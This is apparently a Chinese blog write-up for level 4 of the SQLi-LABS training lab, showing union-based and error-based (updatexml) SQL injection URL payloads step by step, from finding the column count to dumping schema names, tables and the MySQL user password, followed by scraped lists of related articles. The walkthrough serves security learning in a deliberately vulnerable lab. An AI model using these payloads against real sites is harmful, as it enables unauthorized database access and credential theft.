第四关是双引号+括号的字符型注入,推荐使用联合注入、报错注入

方式一:联合注入

参考文章:联合注入使用详解 原理+步骤+实战教程

第一步、判断注入类型

地址栏输入 ?id=1") and 1 -- a,页面正常显示

地址栏输入 ?id=1") and 0 -- a,页面异常(空)显示

第二步、判断字段数

地址栏依次输入:

?id=1") order by 1 -- a

?id=1") order by 2 -- a

?id=1") order by 3 -- a

?id=1") order by 4 -- a

按照第4个字段排序时报错,确定返回结果的字段数为 3

第三步、判断显示位

地址栏输入 ?id=-1") union select 1,2,3 -- a

第四步、脱库

获取所有数据库,地址栏输入:

?id=-1") union select 1,(select group_concat(schema_name)from information_schema.schemata
),3 -- a

获取 security 库的所有表,地址栏输入:

?id=-1") union select 1,(select group_concat(table_name)from information_schema.tableswhere table_schema = 'security'
),3 -- a

获取 users 表的所有字段,地址栏输入:

?id=-1") union select 1,(select group_concat(column_name)from information_schema.columnswhere table_schema = 'security' and table_name = 'users'
),3 -- a

获取数据库用户的密码,地址栏输入:

?id=-1") union select 1,(select group_concat(user,password)from mysql.userwhere user='mituan'
),3 -- a

方式二:报错注入

参考文章:报错注入使用详解 原理+步骤+实战教程

第一步、判断是否报错

地址栏输入 ?id=1"

页面显示数据库的报错信息,适合使用报错注入。

第二步、判断报错条件

地址栏输入 ?id=1") and updatexml(1,0x7e,3); -- a

页面正常显示报错信息,确定报错函数可以使用。

第三步、脱库

获取所有数据库,地址栏输入:

?id=1") and updatexml(1,concat(0x7e,substr((select group_concat(schema_name)from information_schema.schemata),33,31)
),3); -- a

获取 security 库的所有表,地址栏输入:

?id=1") and updatexml(1,concat(0x7e,substr((select group_concat(table_name)from information_schema.tableswhere table_schema='security'),1,31)
),3); -- a

获取 suers 表的所有字段,地址栏输入:

?id=1") and updatexml(1,concat(0x7e,substr((select group_concat(column_name)from information_schema.columnswhere table_schema='security' and table_name='users'),1,31)
),3); -- a

获取数据库用户的密码,地址栏输入:

?id=1") and updatexml(1,concat(0x7e,substr((select passwordfrom mysql.userwhere user='mituan'),1,31)
),3); -- a

推荐专栏

《网络安全快速入门》 用最短的时间,掌握最核心的网络安全技术。

《靶场通关教程》 各个靶场的通关教程,持续更新……

SQLi LABS Less-4 联合注入+报错注入相关推荐

  1. SQLi LABS Less 27 联合注入+报错注入+布尔盲注+时间盲注

    第27关是单引号字符型注入: 过滤了注释(/* -- #),关键字(select union),空格: 这篇文章提供联合注入.报错注入.布尔盲注.时间盲注四种解题方式. 其他 SQLi LABS 靶场 ...

  2. SQLi LABS Less 25 联合注入+报错注入+布尔盲注

    第二十五关单引号字符型注入: 过滤了关键字(and.or),可以使用双写绕过: 这篇文章提供了联合注入.报错注入.布尔盲注三种解题方法. SQLi LABS 其余关卡可参考我的专栏:SQLi-LABS ...

  3. SQLi LABS Less-26 联合注入+报错注入+布尔盲注+时间盲注

    第26关是单引号字符型注入: 后台过滤了关键字( and  or ),注释(/*  #  --  /),空格: 这篇文章提供联合注入.报错注入.布尔盲注.时间盲注四种解题方式. 目录 一.功能分析 二 ...

  4. SQL注入-盲注-时间注入-报错注入-布尔盲注-DNSlog注入-宽字节注入-WAF绕过-SqlMap使用

    Sqli-labs的安装 1.安装WAMP http://www.wampserver.com/ WAMP是php + mysql + Apache环境集成工具 2.下载Sqli-labs https ...

  5. SQLi LABS Less 23 联合注入+报错注入+布尔盲注

    第23关是单引号字符型注入: 过滤了注释,使用闭合引号来绕过: 这篇文章提供联合注入.报错注入.布尔盲注三种解题方式. 一.功能分析 这一关是一个简单的查询功能,在地址栏输入id,后台根据id查询数据 ...

  6. SQLi LABS Less-11 联合注入+报错注入

    第十一关是单引号字符型注入,推荐使用联合注入.报错注入 方式一:联合注入 参考文章:联合注入使用详解 原理+步骤+实战教程 第一步.判断注入类型 用户名输入: a' or 1 -- a 密码随便输入: ...

  7. SQLi LABS Less-12 联合注入+报错注入

    第十二关是双引号+括号的字符型注入 , 推荐使用联合注入.报错注入. 方式一:联合注入 参考文章:联合注入使用详解 原理+步骤+实战教程 第一步.判断注入类型 用户名输入:a") or 1 ...

  8. SQLi LABS Less-3 联合注入+报错注入

    第三关是单引号+括号的字符型注入 ,推荐使用联合注入.报错注入. 方式一:联合注入 推荐文章:联合注入使用详解,原理+步骤+实战教程 第一步.判断注入点类型 地址栏输入 ?id=1') and 1 - ...

  9. SQLi Labs Less-1 联合注入+报错注入

    第一关是单引号字符型注入,推荐使用联合注入.报错注入 方式一:联合注入 参考文章:联合注入使用详解,原理+步骤+实战案例 第一步.判断注入点 地址栏输入:?id=1' and 1 -- a,正常显示 ...

最新文章

  1. 提升 DevOps 效率,试试 ChatOps 吧!
  2. WCF传递强类型DataSet【源码】
  3. 成功解决tempfile.pyquot;, from random import Random as _Random ImportError: cannot import name 'Random
  4. 【阿里架构设计思想】一线互联网系统的核心架构是什么样子的?淘宝系统架构演进之路
  5. 2021年4月12日-民航上海医院-瑞金医院古北分院-检查报告单
  6. Javascript 正则表达式对象
  7. 若依集成aj-captcha实现滑块验证码(单体版)
  8. 940mx黑苹果驱动_黑苹果intel网卡驱动方法
  9. 计算机综合布线基本知识,综合布线系统基础知识学习
  10. PC浏览器播放HLS协议的视频
  11. Xpose安装 xposed下载出错 http://dl.xposed.info/repo
  12. markdown表情大全
  13. 111-unsplash-for-chrome-2021-07-22
  14. CodeForces - 633 H Fibonacci-ish II(莫队+线段树)
  15. 实用工具系列 - Pycharm安装下载使用
  16. 什么是One Data体系?阿里数据中台解读
  17. Belief Propagation 解决计算机视觉问题
  18. C#设置开机启动时报错,提示“对注册表项“HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run访问被拒绝”
  19. 《OpenGL v1.1》——(1)接入Win32窗口,并描绘基本图元
  20. A. Anti Light‘s Cell Guessing

热门文章

  1. 几种机器学习平台的对比和选择
  2. multer处理post请求的代码演示
  3. 【SQL Server备份恢复】维护计划实现备份:每周数据库完整备份、每天差异备份、每小时日志备份...
  4. unity3d-ngui UIScrollView 滚动方向与滚轮相反
  5. 一周学会Mootools 1.4中文教程:(4)类型
  6. 百度:在O(1)空间复杂度范围内对一个数组中前后连段有序数组进行归并排序
  7. 去认识一下WCDMA中的SCH信道
  8. 设置、获得对话框中 编辑框控件 EDIT 的内容
  9. AndroidStudio_安卓原生开发_AsyncTask异步处理使用_AsyncTaskLoader---Android原生开发工作笔记139
  10. Spring AOP 底层原理_001----AspectJ与CGLIB介绍